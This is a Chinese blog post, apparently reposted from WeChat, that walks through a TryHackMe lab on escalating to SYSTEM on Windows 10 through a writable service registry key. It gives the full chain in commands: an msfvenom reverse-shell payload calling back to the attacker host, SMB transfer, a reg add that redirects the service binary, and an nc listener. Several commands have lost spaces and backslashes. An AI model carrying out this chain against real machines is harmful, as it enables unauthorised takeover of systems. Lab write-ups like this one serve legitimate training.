Windows服务提权(3.错误的注册表权限)

admin 2022年5月23日10:59:03评论56 views字数 2043阅读6分48秒阅读模式
Windows服务提权(3.错误的注册表权限)

点击上方蓝字关注我们

0x00:在线漏洞平台利用

前面的制作shell和共享,复制跟前面差不多这里我直接复制粘贴大法了。本次的在线漏洞平台是Try hack me具体链接为https://tryhackme.com/room/windows10privesc。可以使用平台所提供的网页kali版,或者是用自己kali连到他们内网里面都可。

攻击机: kali ip 10.4.37.12

目标机器:windows10 ip 10.10.143.152


 

Windows服务提权(3.错误的注册表权限)


Windows服务提权(3.错误的注册表权限)


首先使用xfreerdp进行远程连接

命令: xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.143.152

Windows服务提权(3.错误的注册表权限)



Windows服务提权(3.错误的注册表权限)


0x01:制作反弹shell+传送到目标机器

为了控制一波我们的windows10,我们得先在kali本地制作一个反弹shell先。

命令:

msfvenom -p windows/x64/shell_reverse_tcpLHOST=10.4.37.12 LPORT=667 -f exe -o reverseshell.exe

Windows服务提权(3.错误的注册表权限)


 


Windows服务提权(3.错误的注册表权限)


关于传送的到目标机器可以用kali自带的smbserver

命令: sudo python3/usr/share/doc/python3-impacket/examples/smbserver.py kali .

Windows服务提权(3.错误的注册表权限)


Windows服务提权(3.错误的注册表权限)


 

然后在我们的windows10的CMD命令行模式下输入

命令:copy \10.4.37.12kalirevershell.exeC:PrivEscreverseshell.exe


 

Windows服务提权(3.错误的注册表权限)


Windows服务提权(3.错误的注册表权限)


然后去到我们刚才存放的地方,记得提前在kali处打开波端口。一个点击就能获得了。


 


Windows服务提权(3.错误的注册表权限)


0x02:错误的注册表权限

这里开始我们的内容。首先使用sc qc regsvc查询注册表信息。可以看到在SERVICE_START_NAME这里是System权限。

Windows服务提权(3.错误的注册表权限)


 


Windows服务提权(3.错误的注册表权限)


当然按照之前的套路我们是用accesschk.exe来检查这个BINARY_PATH是否允许普通用户有特权。当然这里我自己试验过了失败了。这里就要用到另外一种方法了。

 


Windows服务提权(3.错误的注册表权限)


先引入一波概念。这次我们是注册表提权,所以得先理解一波前置知识。在Windows系统上,操作系统、驱动程序、和系统安装组件、服务会存放在注册表中。而注册表会通过树类进行区分,如下图所示,会分成四个树类型。而我们的regsvc是在HKLM SYSTEM CurrentControlSet Services 红色箭头这里。


 

Windows服务提权(3.错误的注册表权限)


Windows服务提权(3.错误的注册表权限)


 

接下来再讲讲这个注册表树, 根据微软的官方手册介绍https://docs.microsoft.com/zh-cn/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree

在这个注册表树中,会存放着有关系统上的每个服务信息。每个驱动程序/服务都有一个格式为HKLMSYSTEMCurrentControlSetServices服务名 的键。比如说regsvc对应的格式为

HKLMSYSTEMCurrentControlSetServicesregsvc。

 


Windows服务提权(3.错误的注册表权限)


用accesschk.exe检测regsvc注册表可以知道当前用户权限发现是可修改的。(INTERACTIVE代表着所有登录用户都有权修改)

 

/accepteula=自动接受许可协议

-u=抑制/忽略错误 -v=详细信息 -w=只展示有读写权限的用户组 -q=忽略banner -k=后面是注册表项如hklm


 

Windows服务提权(3.错误的注册表权限)


Windows服务提权(3.错误的注册表权限)


 

那我们的提权思路有了通过修改注册表路径指向我们的反弹文件然后获得一个更高权限。使用regadd命令进行修改。关于修改命令可以参考这篇文章 https://blog.csdn.net/opl001/article/details/1597779最后重启 服务

 

修改格式为:reg add KeyName /v EntryName /tDataType /d value /f

Keyname=具体的注册表路径比如这里的HKLMSYSTEMCurrentControlSetServicesregsvc

/v =指定要添加到指定子项下的名称

/t=数据类型这里的REG_EXPAND_SZ意思是长度可变的数据字符串。

/d=指定新注册表项的值

/f=不用询问信息而直接添加子项


 

Windows服务提权(3.错误的注册表权限)


Windows服务提权(3.错误的注册表权限)


再次开启nc成功接收。

Windows服务提权(3.错误的注册表权限)


Windows服务提权(3.错误的注册表权限)


0x03:引用

HKLM SYSTEM CurrentControlSet Services 注册表树 https://docs.microsoft.com/zh-cn/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree

 

cmd下修改注册表完全攻略https://blog.csdn.net/opl001/article/details/1597779


原文始发于微信公众号(神隐攻防实验室):Windows服务提权(3.错误的注册表权限)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月23日10:59:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows服务提权(3.错误的注册表权限)https://cn-sec.com/archives/787726.html

发表评论

匿名网友 填写信息